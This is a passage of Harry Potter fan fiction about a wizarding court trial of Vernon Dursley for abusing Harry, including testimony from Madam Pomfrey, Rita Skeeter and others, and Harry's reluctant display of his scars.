sorry, I have such a hard time trying to remember all of these strange terms for things. Ms Figg does her best, but I\'m rather afraid it is like my trying to figure out how to use one of Dudleys\' games machines.&quot;</p>\n\n<p>&quot;You know about Mrs... um Ms Figg then?&quot;</p>\n\n<p>&quot;Oh yes lovely woman, very kind, talks about you a lot, and somebody called Remus. I\'ve been living with her. She\'s been trying her best to teach me about all of this ... well your world I suppose.&quot;</p>\n\n<p>&quot;You ... you want to know about it?&quot;</p>\n\n<p>Petunia looked down to her hands, fiddling with the straps on her handbag.</p>\n\n<p>&quot;Yes I ... err ... I...&quot;</p>\n\n<p>His Aunt looked back up to him, and sighed as she looked into his expectant face.</p>\n\n<p>&quot;It\'s as though I\'ve woken up from a dream, one in which I was playing a role that wasn\'t me. Only I\'ve woken up to a world that seems far stranger than the dream world, and all of the nightmarish things have followed me. Do you understand?&quot;</p>\n\n<p>&quot;I ... not really.&quot;</p>\n\n<p>Harry replied frustrated that he didn\'t understand what his Aunt was trying to tell him.</p>\n\n<p>&quot;It\'s just that I... I\'ve been angry, very angry for a long time, so long that I didn\'t even see it anymore. I took out old arguments, old feelings on you, when I shouldn\'t have.&quot; She sighed again.</p>\n\n<p>And for the first time in his life that he could remember, his Aunt took his own hand in hers with tenderness.</p>\n\n<p>&quot;Harry it took me a long time to wake up to that, to what I was doing, and what I was allowing to happen. I\'m not sure if I even have any right to ask for your forgiveness.&quot;</p>\n\n<p>Harry\'s breath caught in his throat. His Aunt dropped his hand, but raised her own to cup his left cheek.</p>\n\n<p>&quot;You have Lily\'s eyes. There\'s so much of her in you, at times it\'s almost like having her back, almost as if she\'s standing right ...&quot; Petunia broke off in a stifled sob, followed by another, and her hand slid from his face.</p>\n\n<p>Harry pulled the slightly rumpled handkerchief with the Hogwarts emblem on it from his robes and handed it to her, unsure of what to say.</p>\n\n<p>&quot;Thank you Harry.&quot; She said with a slight sniffle.</p>\n\n<p>&quot;I\'m sorry about that.&quot;</p>\n\n<p>&quot;It\'s alright.&quot; He replied somewhat awkwardly</p>\n\n<p>&quot;TIME PLEASE.&quot; A loud male voice called out. </p>\n\n<p>&quot;Mr Potter your presence is required in court.&quot;</p>\n\n<p>Petunia sniffled a few more times against the handkerchief. </p>\n\n<p>&quot;You\'d better go Harry.&quot; She looked down at the handkerchief, and muttered something like an apology as she made to hand it back. Harry pushed it back into his Aunt\'s hands.</p>\n\n<p>&quot;No no, keep it. It\'s alright.&quot;</p>\n\n<p>&quot;Mr Potter?&quot; the voice called out again.</p>\n\n<p>&quot;Please it\'s time.&quot;</p>\n\n<p>Hesitantly, Harry stepped away from his Aunt.</p>\n\n<p>&quot;Will you be alright?&quot; he surprised himself with the tone of genuine concern in his question, his Aunt looked slightly pleased, if a little surprised her self.</p>\n\n<p>&quot;Don\'t worry about me. Ms Figg can take care of me.&quot; She said looking up in the direction of where the blond-haired witch stood unobtrusively about ten feet away. Ms Figgs\' arms were folded gracefully against her chest. Her pale hair fell in a few strands against her mature but surprisingly beautiful face, and a genuinely warm smile graced her mouth, as if she had recognised what had just passed between Harry and his Aunt. Ms Figgs\' eyes focused their gaze on Harry, and her smile grew broader, he knew who she really was now, and the thought obviously pleased her. Harry smiled in return, gave his Aunt\'s hand a light squeeze, and then turned around wordlessly and walked back into the courtroom.</p>\n\n<p>~o0o~</p>\n\n<p></p>\n\n<p>&quot;Madam Pomfrey, can you tell us exactly the extent of Mr Potters injuries when you saw him on the day he was brought to the Weasley household?&quot; </p>\n\n<p>Harry\'s attention began wondering almost the minute Fletcher had asked the question. He really wished that the entire courtroom didn\'t have to know rather personal things about the state of his body. It was bad enough that reporters were soon going to be allowed into the trial, as a matter of public interest. It seemed as though Harry\'s personal life was no longer to be his own. The past few weeks Remus had all but forbidden Harry from reading the Daily Prophet. The Defence against the Dark Arts teacher had told him he shouldn\'t be reading such trash, but Harry thought it might be better to know why it was exactly that some of the student\'s of Hogwarts felt the need to read it in front of him, looking at him from time to time, then whisper or snigger. </p>\n\n<p>&quot;Well Mr Fletcher, he was in the worst state I have ever seen him in, and I have seen him in a fair few states. Five of his ribs were fractured, two of them broken, there were hairline fractures all along his right arm, and his left shoulder was dislocated. He was bleeding internally. Hardly any part of him didn\'t have a bruise or cut on it. There were ... there were what I believe to be belt marks all over his back and a few on his lower abdomen...&quot; Poppy Pomfrey paused for a moment, looking over to Harry, who for his part sunk a little lower into his seat, a slight red flush to his cheeks, embarrassment and shame contrived to make him want to be as small and invisible as possible. Poppy\'s voice took on a quieter tone, almost as if she didn\'t want Harry to have to hear what she was saying, but of course he did.</p>\n\n<p>&quot;On top of all of this he was severely malnourished and underweight. It\'s sickening what he went through, we almost lost him.&quot;</p>\n\n<p>&quot;But you didn\'t?&quot;</p>\n\n<p>&quot;No we didn\'t. Fortunately we were able to stabilise him. It\'s taken a long time, many months of potions and the medi-craft to heal him. He\'s finally a good weight, though he\'s still too skinny for my liking. And though I know he doesn\'t say anything, I know that he still feels pain from time to time.&quot;</p>\n\n<p>Harry flushed further, sinking down a little more into his seat. He raised his hand to his head, as though he might hide behind it.</p>\n\n<p>&quot;How would you describe his health, mentally and physically now?&quot;</p>\n\n<p>&quot;Well I\'m not a psychiatrist, but I know it\'s had a permanent effect on his mind...&quot;</p>\n\n<p>Madam Pomfrey took another moment to look over her young patient, she could see the heat rising in his face, as they described his body on an uncomfortably intimate level.</p>\n\n<p>&quot;What sort of effect, Madam Pomfrey?&quot;</p>\n\n<p>&quot;Well he has developed the sorts of reflexes one generally only sees in very well-trained Aurors.&quot;</p>\n\n<p>Harry afforded a quick glance at Lupin, to see the slight but understandable grimace that lined his face. Not all of the reflexes Harry had developed were the direct result of living with Vernon Dursley- though that had unmistakably been a considerable factor. The others were almost five of playing seeker on the best Quidditch team at Hogwarts, and classes in Auror training that were not exactly common knowledge.</p>\n\n<p>&quot;Such as?&quot;</p>\n\n<p>&quot;Well the ability to move quickly to avoid harm.&quot;</p>\n\n<p>&quot;Might not this come from his Quidditch training Madam Pomfrey?&quot;</p>\n\n<p>&quot;I imagine that some of it does. But I think that as Quidditch players are generally picked for their teams due to their reflexes, it raises the question of how long this... abuse has been going on. As Mr Potter was picked for his house team in his first year, I dread to think that this might have been happening before he even got to Hogwarts.&quot;</p>\n\n<p>&quot;Ah, Madam Pomfrey, you do raise an interesting point, one which I\'m sure Mr Potter will be willing to be questioned on later, but for now, if we can simply concentrate on what you know to be happening at the current moment?&quot;</p>\n\n<p>Madam Pomfrey sighed and shot a glare in the general direction of Vernon Dursley, who for the most part would sit quietly staring into his lap for most of the day, as though he were just deadly bored.</p>\n\n<p>&quot;Well Harry is easily startled, although it is not as extreme as it was. Sudden movements or unexpected physical contacts he is still sensitive too, he cannot help but flinch, even at times with those he trusts most. Most of the males in his company have learned not to touch him at all, they don\'t want to frighten him.&quot;</p>\n\n<p>&quot;hmm... well what about...&quot;</p>\n\n<p>Much of the day\'s proceedings droned on in this manner, eventually he shut his ears and let his mind wander over Quidditch tactics that he and Ron had been dreaming up whenever they were supposed to be studying. Harry\'s mind turned to his red-haired friend, and he wondered how he was fairing. Ron was a noticeable absence in the courtroom today. A mock exam had taken Harry\'s friend, albeit grudgingly, away from the trial. Ron had been more miffed that Hermione had been allowed to go to court, rather than doing the exam, though as Harry reminded him, it wasn\'t a situation that Hermione was happy with. She\'d rather be at the dentists having her teeth wrenched out then miss an exam. But for some reason, Dumbledore had decided it would be a good idea not to separate Hermione and Harry by more than a few miles at the moment. The idea was that they should always be within a distance that was easily reachable. Just in case of an as-yet-unknown emergency.</p>\n\n<p>He looked over at the curly-haired muggle-born witch, and felt a slight smile flutter over his face, something that seemed to be almost always present whenever he looked at her now. Their friendship hadn\'t become as strained as he had worried it might be, the one lesson they had spent exploring the strange connection that had grown between them, had worried him somewhat. If he dwelled on it too long, his thoughts would turn to the... he supposed they could be called apparitions, and how Hermione had reacted to them.</p>\n\n<p>It was as if she had been acting entirely on instinct, something so engrained by memory, that her reactions were automatic. She had been both ready and willing to fight, and what was scarier, was that she seemed to know exactly how to do it. </p>\n\n<p>The more Harry thought over the image, the more his minds eye altered it. The scene of dark creatures, of fighting that had been present through the pink mist in Harry\'s mindscape, had surrounded Hermione, she had aged slightly, her Hogwarts robes had morphed into a mossy green and chocolate brown outfit, that seemed to be a cross between a cloak and a long muggle coat, the sleeves were very wide, and dark, rich brown sleeves edged in golden thread work from the dress she wore underneath, poked out. But Harry\'s mind\'s eye also painted in swords. Two twin blades, made of thin and light metal, balanced and made perfectly to compliment the strength of a woman. She held them aloft, her stance perfect, a certain grim pleasure radiated from her eyes, as she moved towards the terrifying shadowed creatures before her. She was a warrior.</p>\n\n<p>Harry shook his head briefly, trying to dispel the image that had taken up residence there. Since it did not entirely correlate with the young woman sat in the courtroom, she had just noticed him looking, and then smiled at him.</p>\n\n<p>Ah that smile, she could ask him to do anything now and he would do it. Last year some girls had made derogatory remarks about Hermione using love potions, but as Harry had come to conclude, Hermione wove her own spell, one that didn\'t require potions or enchantments, just Hermione being herself, that was all the enchantment she needed. </p>\n\n<p>Harry sighed.</p>\n\n<i><p>Bloody hell I\'m bored. What I wouldn\'t give for a good game of Quidditch against Slytherin right now. I feel like beating somebody at something. </p>\n\n</i><p>Harry\'s mind continued to wander over unimportant things, only noting a change in witnesses a few times, the presence of a warm and comforting sunlight on his face, and eventually Mundungus Fletcher taking his seat beside him, his old body creaking almost as much as the chair he sat upon.</p>\n\n<p>&quot;It shouldn\'t be much longer Harry, I think that ol\' Ravencast is getting sick of Hayes pulling out bleedin\' \'expert witnesses anyway&#8216;.&quot; Fletcher muttered softly.</p>\n\n<p>&quot;Madam Pomfrey\'s testimony was good, and Ron\'s yesterday corroborated the rest of the Weasleys. Some of the jury are feeling a bit more sympathetic, with any luck this should all be wrapped up within the week.&quot;</p>\n\n<p>Harry smiled glumly, but didn\'t look up. So he was slightly surprised to hear the softly spoken words that exited Fletchers mouth next.</p>\n\n<p>&quot;Or not. Aww shit.&quot;</p>\n\n<p>Harry looked up.</p>\n\n<p>&quot;Defence calls Rita Skeeter to the stand.&quot;</p>\n\n<p>Harry saw the strutting reporter approach the witness section, donned as usual in a violent clash of colours. Bright lime green cloak, that was cut more like a muggle coat falling to mid-calf, a dark blue skirt and a hideous orange shirt that was overly ruffled at the front were visible underneath the cloak. Bright red heels clicked loudly on the wooden floor, their shade perfectly matched to the slash of colour on her thin lips, dark green and black were the colours on her eyelids, the makeup was overdone, and from a distance she would appear to have two very bruised eyes. The librarian-like glasses she wore only further served to give her face a vulture-like appearance. Her gaze was fixed alternatively between Harry and his supporters in the audience section of the court, the gaze was so intense, Harry could have sworn that the reporter would have sent laser beams out of her eyes if she could.</p>\n\n<p>Mundungus shook his head.</p>\n\n<p>&quot;Hmm, didn\'t see that one coming.&quot;</p>\n\n<p>&quot;What do we do now?&quot; Harry asked.</p>\n\n<p>He didn\'t know how she\'d gotten away from Hermione. Though he was shocked to realise that he hadn\'t known that Hermione obviously hadn\'t done anything about setting the reporter free yet, judging by the look on the young witches face. He could tell by the determined pace of the reporter and previously mentioned death-laser glare that Skeeter wasn\'t there to wave a banner in support of him.</p>\n\n<p>If Harry had not begun to develop some measure of self-restraint some time ago, he would have groaned. As it was a grimace appeared on his face, lines appearing on his otherwise youthful features, showing the beginnings of hardships taking their toll.</p>\n\n<i><p>Oh buggering hell. </p>\n\n</i><p>He was somewhat amused to see Hermione whisper out these exact sentiments to herself, as the lurid reporter passed. </p>\n\n<i></i><p><i>Well it can\'t get any worse ... though I don\'t see how it could get any better</i>\n\n<i>either.</i></p><i>\n\n</i><p>&quot;Don\'t worry Harry, with any luck this won\'t be as bad as it seems, and we\'ll still make it back to Hogwarts in time for bread and butter pudding.&quot;</p>\n\n<p>He nodded at the old man\'s attempts to cheer him up. Though he loathed bread and butter pudding.</p>\n\n<p>As Rita Skeeter took to the witness stand, the magical symbol beneath the chair shifted to a dark green. But as usual, Harry and the rest of the courtroom were left clueless as to what the colours meant. But Markus Ravencast Senior, the Grand Judge of the court, seemed to take note of something, a slight look of distaste past over his face, then he motioned to Mr Hayes, Vernon Dursley\'s overpaid, over-tanned, over-bleached young lawyer, to begin his questioning. </p>\n\n<p>&quot;Please state in full your birth name, birth date, and the year in which you received your license to practice the magical arts.&quot;</p>\n\n<p>Rita looked momentarily sheepish.</p>\n\n<p>&quot;Jane Ellen Smith. 15th July 1954. I passed with merit in magical arts in 1973.&quot;</p>\n\n<i><p>Smith? That doesn\'t sound like wizard family name, I wonder if she\'s a muggle-born? </p>\n\n</i><p>&quot;Thank you Ms Skeeter, I apologise for any inconvenience caused by revealing your given name.&quot;</p>\n\n<p>\'Ms Skeeter\' nodded sharply once. Mr Hayes continued.</p>\n\n<p>&quot;Ms Skeeter, I would like for you to share with the court, your whereabouts for the last seven months.&quot; </p>\n\n<p>Rita looked sharply in Harry\'s direction, and he knew a sudden feeling of guilt. He hadn\'t even remembered to ask Hermione what she\'d done with the reporter after the holidays; of course he was somewhat preoccupied (or unconscious) at the time.</p>\n\n<p>&quot;I\'ve been held a prisoner within my own body by Hermione Granger and Harry Potter.&quot;</p>\n\n<p>It took several moments to calm the courtroom back down. Judge Ravencast was banging an old-fashioned muggle gravel, and calling for order. Harry cast a glance at the Jury, as steadily as Fletcher had gained their sympathies, and begun to convince them of truth of what Harry had suffered, the one sentence Skeeter had just uttered had changed all that. Two of the muggles in front of him, out of twelve were the only ones that did not now look at him without suspicion or outright hate. </p>\n\n<p>&quot;Held a prisoner? But why? Why would Miss Granger, and Mr Potter hold anyone prisoner?&quot;</p>\n\n<p>&quot;I wrote several articles about them for my column in the Daily Prophet. They did not correlate with those carefully set up ideas about \'The Harry Potter\'. They were very honest, and I believe that they were much closer to the truth than they wanted.&quot;</p>\n\n<p>A snort came from somewhere in the audience gallery, though Harry couldn\'t see who. He quietly fumed, everything that woman had ever set to print had been an outright lie, she\'d probably even embellished on Draco Malfoy\'s quotes for her article. </p>\n\n<p>&quot;Well can you tell us something about what you believe those ideas are, and how your work may have tarnished them?&quot;</p>\n\n<p>&quot;The ideas ... hmph ...Mr Potter is by most accounts of wizard history, a sort of hero, and poor victim, an orphan who should be pitied and praised at the same time.&quot;</p>\n\n<p>&quot;And you have found out differently?&quot;</p>\n\n<p>&quot;That young man is anything but a victim!&quot; she raged, spittle flew from her mouth, and Mr Hayes took an almost unnoticeable step back, as a few silvery flecks landed on his dark suit.</p>\n\n<p>&quot;Can you Ms Skeeter, tell us what gives you reason to believe that?&quot;</p>\n\n<p>&quot;I believe, that something did happen that night at the Potters, but it has been so twisted by certain people, that this legend built up around him, it has made him egotistical and selfish. He\'s a very accomplished actor, as you may see when you read some of my earlier articles on him. But the closer I got to him and his little group of friends, the more irritable they became. After the printing of my last article, I thought that it was important to continue investigating, and then ... then they took me, I got to close to the truth.&quot;</p>\n\n<p>&quot;Can you tell us, Ms Skeeter, how they were able to hold prisoner for so long, and how you finally escaped?&quot;</p>\n\n<p>Fletcher shifted beside Harry, an irritated look on his face, he muttered something that sounded suspiciously like \'clever little sod\' under his breath.</p>\n\n<p>Rita, or rather Jane as Harry now preferred to think of her, made a great show of looking somewhat ashamed at what she was about to say next. Harry noticed with some interest that Judge Ravencast was not looking at Skeeter, but at the shifting green symbol under her chair. The Triquatra\'s previously dark green shade, had become more faded, it was becoming more transparent, and shimmered slightly with movement, when it had previously been solid. Harry leaned over to Fletcher and whispered.</p>\n\n<p>&quot;Why does Judge Ravencast keep looking at the Triquatra?&quot;</p>\n\n<p>&quot;Because he\'s one of the few who knows how to read it.&quot; Fletcher whispered back.</p>\n\n<p>&quot;He knows?&quot;</p>\n\n<p>&quot;It\'s a skill passed from father to son, unfortunately most of the families who knew the secrets of this magic, were highly targeted by Voldemort and his Deatheaters. There are only a handful of them left. And, as you might remember, Judges Ravencast\'s only son died eight months ago.&quot;</p>\n\n<p>Harry half-heartedly listened to Rita\'s sob story. As she apologised \'wholeheartedly\' for \'letting the magical community down\', by keeping her ability as an animagus a secret, of how afraid she had been by her ability to change. But how in time she had found that her ability might become useful in finding out the truth- Harry swore if she had said \'For All Mankind\' he would have thrown up then and there. And how finding out the truth had become her over-riding desire in life. </p>\n\n<i></i><p><i>Oh please...</i>Harry thought<i>...the truth is the last thing she wanted to tell.</i></p><i>\n\n</i><p>And so it was in finding out the truth, that she had been caught and imprisoned in a small glass jam jar. Skeeter reached her sobbing conclusion.</p>\n\n<p>&quot;I only escaped when Miss Grangers mother forgot to put the lid back on after feeding me. It took me a month to remember how to return to human form. It was only two weeks ago that I truly became myself again, I ... I\'m so sorry.&quot;</p>\n\n<p>Rita trailed off into small racking cries, bent over her lap. Mr Hayes made a great show of removing his handkerchief form his top pocket and handing it to the sobbing witch, whilst patting her shoulder in a sympathetic gesture.</p>\n\n<p>Members of the jury that Harry had thought previously looked on him with sympathy, now looked on him as though he was the lobster in the tank that they had just chosen to dine on.</p>\n\n<p>~o0o~</p>\n\n<p></p>\n\n<p>&quot;What do you mean she\'s back? How the bloody hell did she get out? I\'m gonna kill Hermione when I see her.&quot;</p>\n\n<p>Listening to Ron\'s little rant did little to make Harry feel better. Fletcher was a good man, and a very good lawyer, but surprisingly he couldn\'t lie very well. Harry had seen it in the old man\'s eyes; Mundungus thought that they might lose. </p>\n\n<p>He grunted slightly letting Ron know that he heard him, so his red-haired friend continued his tirade, and Harry mounted his firebolt, kicking off, soaring into the air. Ron continued muttering beside him, and then peeled off towards the goalposts. The wind picked up, blowing his already messy hair this way and that, his red and yellow cape was flickering and snapping out behind him, caught like a flag in the wind.</p>\n\n<p>His concerns seemed to start falling away one by one, muscles he didn\'t need for flying un-tensed, his breathing became deeper and more relaxed. For some people it was yoga, for Harry it was flying.</p>\n\n<p>He cast his eyes about for the snitch, in no real hurry to find it, since this was only a practice. He decided that his eyesight (with glasses) was sharp enough, and to concentrate on practising moves instead. A red-haired broomstick rider shot past him at high speed, and Harry had no time to distinguish which Weasley it was before they were gone again.</p>\n\n<p>A small crowd of Gryffindor\'s, mostly third years and up, had gathered below, all looking upwards, most observing in the hopes of picking up a few extra ideas before they tried out for the team at the end of the year. Given the mass exodus of Gryffindor players before next year, leaving only Harry and Ron as established house players, they had decided gaining new players before next year would be advantageous. At least this way they could get the nod of approval from their old team-mates, and save themselves the headache of finding new players next year.</p>\n\n<p>Amongst the faces, Harry could quite clearly pick out Hermione standing near Lavendar Brown and the Patel twins. She was staring up at him intently. Harry knew she was waiting for him; Harry hadn\'t given her the chance to explain about Rita Skeeter, he wasn\'t sure he wanted to know. Mostly he was hoping that she\'d had just... well forgotten about Skeeter like he had. But if she hadn\'t, if she had known all along that Skeeter was still in a glass jar on her bedside table with no hope for release... the image of the warrior-like Hermione was still in his mind, could anyone be that cruel?</p>\n\n<p>A small whoop was let out from the crowd as some move was played out between his team-mates that Harry hadn\'t been observing as sharply as he should have.</p>\n\n<p>&quot;Good move George!&quot; somebody shouted.</p>\n\n<p>&quot;That wasn\'t George, it was Fred!&quot; somebody else shouted.</p>\n\n<p>Harry\'s interest in the game waned again, and he knew, as soon as it was over, he was going to have to talk to Hermione; she was distracting him from other important things. </p>\n\n<p>Hermione seemed to be getting good at that lately.</p>\n\n<p>~o0o~</p>\n\n<p></p>\n\n<p>&quot;What do you mean, he\'s changing his plea?&quot;</p>\n\n<p>&quot;I\'m afraid that Mr Hayes has advised me that Vernon is changing his plea from Innocent, to Innocent by reason of Temporary Insanity.&quot;</p>\n\n<p>&quot;Can they do that?&quot;</p>\n\n<p>&quot;Well I\'m afraid so, as since technically your Uncle has never denied that he hurt you, he hasn\'t even testified yet. Mr Hayes has been careful enough to introduce doubt into the minds of the Jury about you, made people question what they know about you and your honesty, and not Vernon\'s. By changing now, when they\'ve introduced this doubt into the jury\'s minds, it makes the new plea much more easy to swallow. It\'s far more believable, it might even make them feel sympathy for h...&quot;</p>\n\n<p>A loud thud distracted Fletcher from his rambling, and he turned around to see his young client grimace slightly in pain. Fletcher looked from Harry\'s face, further down to notice that Harry seemed to have lost his right hand. But that was probably because it was still stuck inside the wall he\'d just punched through. Fletcher looked at Harry.</p>\n\n<p>&quot;Ah. I think that you might want to put some ice on that.&quot;</p>\n\n<p>&quot;hmm, hmmph.&quot; Harry mumbled through gritted teeth, as he slowly slid his slightly bloodied hand back out of oak panelling of Fletcher\'s private office. His fingers were curled in on themselves, shaking.</p>\n\n<p>Harry\'s breaths were coming in short gasps, not so much from shock or pain, but from anger.</p>\n\n<p>&quot;Hmm. When we\'re finished here, let\'s go to Quality Quidditch Supplies, and I\'ll get you a nice new pair of gaming gloves, that will make you feel better won\'t it?&quot;</p>\n\n<p>A slight smile shone on Harry\'s face, even if it didn\'t quite make it to his eyes. If he\'d had been born a girl, Fletcher would have just suggested that they go shoe shopping.</p>\n\n<p>~o0o~</p>\n\n<p></p>\n\n<p>&quot;How do I do this? How do I do something like this? How can you even ask me Remus?&quot;</p>\n\n<p>&quot;It will be alright Harry, just go out there and don\'t even think about it. Just pretend you\'re getting changed or something.&quot;</p>\n\n<p>&quot;What, in front of sixty people?&quot;</p>\n\n<p>&quot;Alright then, just try not to think about it. If they have any questions, answer as clearly as you can. Everything will be alright after this I promise.&quot;</p>\n\n<p>&quot;Right, I just have to humiliate myself first.&quot;</p>\n\n<p>~o0o~</p>\n\n<p></p>\n\n<p>Two Days Earlier...</p>\n\n<p>&quot;And how did that make you feel Dudley?&quot;</p>\n\n<p>&quot;Scared I guess, really afraid. I didn\'t know what was going to happen next.&quot;</p>\n\n<p>&quot;What did you think might happen?&quot;</p>\n\n<p>&quot;I thought that I might turn into a pig or something.&quot;</p>\n\n<p>&quot;I imagine that was a very frightening thing for an eleven year old.&quot;</p>\n\n<p>&quot;Scary at any age sir.&quot;</p>\n\n<p>&quot;You didn\'t turn into a pig though.&quot;</p>\n\n<p>&quot;No, but I had a bit of a tail, until Dad could afford to have it removed.&quot;</p>\n\n<p>&quot;Surgically?&quot;</p>\n\n<p>&quot;Yes.&quot;</p>\n\n<p>&quot;So at great expense to himself, your father, Mr Dursley had to pay to have a tail removed, that was put there by magic. A tail put there by Reubeus Hagrid?&quot;</p>\n\n<p>&quot;Yes Sir.&quot;</p>\n\n<p></p>\n\n<p>Later that day...</p>\n\n<p></p>\n\n<p>&quot;And this isn\'t the first time that you\'ve used magic irresponsibly is it Mr Hagrid?&quot;</p>\n\n<p>&quot;Well it wer\' only a bi\'o\'fun.&quot;</p>\n\n<p>&quot;A bi\'o\'fun? A bi\'o\'fun? Tell me Mr Hagrid, was it a bi\'o\'fun that had you expelled from Hogwarts, and have your wand snapped in disgrace?!&quot;</p>\n\n<p>&quot;My name wer\' cleared o\'that. And you know all that.&quot;</p>\n\n<p>&quot;Perhaps. But I think we can certainly see were Harry\'s disrespect for authority comes from.&quot; </p>\n\n<p>Hagrids\' bulky frame shot upward with a speed and grace that would put a Leprechaun to shame.</p>\n\n<p>&quot;Don\'t you dare bad-mouth \'Arry anymore. He ain\'t done nothing wrong, af\'er all that boy\'s bin through, you oughta be ashamed of yerself for helpin\' that child hurtin\' scumbag!&quot;</p>\n\n<p>Hagrids\' breath slowed, a look in the direction of the jury revealed to him his error, they were terrified of him. His outburst had done more harm than good.</p>\n\n<p>One Day Ago...</p>\n\n<p></p>\n\n<p>&quot;Mr Lupin, court records tell us that shortly after the deaths of Lily and James Potter, and the arrest of Sirius Black, you tried to gain custody of Harry, despite having no legal claim. Will you please tell the court the reason you were denied three times before you withdrew your application?&quot;</p>\n\n<p>Remus appeared somewhat pained by the question. </p>\n\n<p>&quot;Because I am a Werewolf.&quot; he replied softly.</p>\n\n<p>Disgust instantly filled the faces of more than half the wizards present.</p>\n\n<p>&quot;So the truth of the matter is, the court judges awarded custody to Harry\'s blood relations three times in a row, because they thought he would be well looked after with them, as opposed to in your care!&quot;</p>\n\n<p>Mr Hayes voice lowered, and then he raised one eyebrow questioningly on the last word.</p>\n\n<p>&quot;The only reason I did not receive Harry into my care...&quot; Lupin said each word slowly, teeth grinding as he struggled to reign in his anger.</p>\n\n<p>&quot;...was because of the bigotry shown to me by the Judges of those hearings. Had Harry been allowed to stay with me, he would have been very well taken care of. I made a promise to Harry\'s father that I would take care of his son, I would have loved as though he were my own flesh and blood.&quot;</p>\n\n<p>&quot;Really? And what care could a man in your position offer. Oh, don\'t get me wrong, I have sympathy for the bigotry you endure. But that same bigotry would have prevented you from ever providing a stable home environment. How much care could a man who had only had two jobs in the last seventeen years of his life, have provided?&quot;</p>\n\n<p>Remus started to speak, but Mr Hayes cut him off with a placating wave of his right arm.</p>\n\n<p>&quot;Now I know full well this isn\'t your fault. I\'m told you were a very fair Auror in your time, even if you did drop out after failing the initiation for the Phoenix Order, but then perhaps you can understand that those judges were thinking of Harry. A loving home they might have known you could have provided, but all the other things a growing boy needs? I think that you know in your own heart that you are not capable of giving a stable home environment for Mr Potter, or any other young child for that matter...&quot;</p>\n\n<p>Remus sprang from his chair, unable to control himself any longer.</p>\n\n<p>&quot;My home might not be a wealthy one, but at least it would have been a happy one. How dare you suggest I\'m incapable of caring for a child, especially after what that fat bastard did to him! How dare you...!&quot;</p>\n\n<p>&quot;LUPIN SIT DOWN!&quot;</p>\n\n<p>Judge Ravencasts voice boomed out into the courtroom, the walls echoed back, making the judges tone seem harsher than it was.</p>\n\n<p>It was then that Lupin, like Hagrid only a day ago, realised his own error. A slight smile played at Mr Hayes lips. Lupin resisted the surge of anger within him telling him to rip the smug lawyer to shreds. Lupin sank back into his chair, he glanced in Harry\'s direction. He could only mouth the words \'I\'m sorry\', before he was dismissed, and the next witness was called.</p>\n\n<p>Later that evening...</p>\n\n<p></p>\n\n<p>&quot;We\'re going to have to face facts Albus, Dursley will get off with a pat on the hand an\' a few months in a muggle prison. Maybe even only anger management classes.</p>\n\n<p>Only by means of temporary insanity... that bleedin\' lawyer o\'his is a sharp one, ain\'t no mistaken that.&quot;</p>\n\n<p>&quot;Then what do you suggest we do Mundungus? Both Harry and his Uncle need to testify, and soon. Whatever the outcome of this trial, it needs to be over and done with. Harry\'s a strong boy, but this is wearing him down; he has much more important things to worry about.&quot;</p>\n\n<p>Fletcher sighed, and took another puff on his cigar, in his right hand. Then reached up with the same hand to scratch his thumb lightly across his temple.</p>\n\n<p>&quot;It\'s no good Albus. Half. More than half the jury believe Hayes work of fiction so far. But what we need to do, well I don\'t think Harry is going to be happy about.&quot;</p>\n\n<p>&quot;What are you suggesting?&quot;</p>\n\n<p>&quot;The jury, they, they need to see his scars. The ones Poppy couldn\'t heal, the ones that were too old. We need to prove that this... abuse.&quot; Fletcher spat out the last word.</p>\n\n<p>&quot;We need to prove that this abuse was ongoing, not a single incident as Hayes is claiming.&quot;</p>\n\n<p>&quot;Hmm. I think you\'re right Mundungus. Harry isn\'t going to like this one bit.&quot;</p>\n\n<p>&quot;Hmph. Especially now we\'ve got a dozen reporters in the courtroom waiting to tell everyone about it in the next days papers.&quot;</p>\n\n<p>&quot;Especially that Mundungus.&quot; </p>\n\n<p></p>\n\n<p>~o0o~</p>\n\n<p></p>\n\n<p>&#8220;How do I do this? How can I do this? How can you even ask me Remus?&#8221;</p>\n\n<p>&#8220;It will be alright Harry, just go out there and don&#8217;t even think about it. Just pretend that you&#8217;re getting changed or something.&#8221;</p>\n\n<p>&#8220;What, in front of sixty people?&#8221;</p>\n\n<p>&#8220;Alright then, just try not to think about it. If they have any questions, answer as clearly as you can. Everything will be alright after this I promise.&#8221;</p>\n\n<p>&#8220;Right, I just have to humiliate myself first.&#8221;</p>\n\n<p>~o0o~</p>\n\n<p></p>\n\n<p>Harry&#8217;s face flushed a deep red in humiliation as he left the courtroom. He hadn&#8217;t needed that. He pushed back the desire to throw-up as he replaced his Hogwarts robes over his bared torso. The loud whisperings of the courtroom could still be heard even as the thick wooden doors closed behind him, and Lupin as he followed Harry out. </p>\n\n<p>They walked through the wall into Judge Ravencasts private chambers.</p>\n\n<p>Harry promptly sat down on the leather couch before his legs lost all their strength. Another few steps and he might have just fallen over, such was the intensity of emotion that coursed through his body.</p>\n\n<p>He took a deep breath, and wrapped his arms about his stomach, in a protective gesture as he tried to calm down. His heart beat wildly inside of his chest. The erratic thumping threatening to smash itself against the inside of his ribs, as it was they already played out a heavy tune against overly burdened bones. </p>\n\n<p>&#8220;Harry, I&#8217;m sorry you had to do that.&#8221;</p>\n\n<p>Harry said nothing. He bent his head downwards and took another deep breath.</p>\n\n<p>&#8220;Harry &#8230; please say something &#8230;&#8221;</p>\n\n<p>Harry raised his head slightly; sad brown eyes met his. Harry couldn&#8217;t speak, he moved his lips as though to form the words, but a burning dryness caught in the back of his throat, and the desire to be sick was at the forefront of his mind again. He lowered his head back down. There had been reporters there. They had seen &#8230; they had seen everything. And now they would be doing their job and telling everyone else. Telling everyone that either poor orphaned Harry Potter had been terribly abused by his muggle Uncle, or that mad, delusional Harry Potter had been harming himself. Even the true version of events would keep him in public favour; he hadn&#8217;t wanted it to get out. It wasn&#8217;t the right of the world to know every private suffering he had endured.</p>\n\n<p>&#8220;Harry?&#8221;</p>\n\n<p>Harry steadied his breathing, using the method Moody had taught him for the Staff lessons. Then he looked up slowly, turning the full weight of his gaze on Remus. The older man appeared momentarily startled by the power, that was usually hidden safely away appear in them. In a surprisingly steady voice Harry said.</p>\n\n<p>&#8220;I will never do that again. If they ever want to see my scars again, they&#8217;ll either have to take photos or strip me naked after pinning me down first.&#8221;</p>\n\n<p>To Harry&#8217;s surprise, Lupin laughed. A gentle hand patted his left shoulder.</p>\n\n<p>&#8220;That&#8217;s the spirit.&#8221;</p>\n\n<p>~o0o~</p>\n\n<p></p>\n\n<p>&#8220;Ssseveruss. How do you like the accommodations?&#8221;</p>\n\n<p>Severus Snape shifted within the small cold stone room. His confinement had been &#8230; unpleasant, to say the 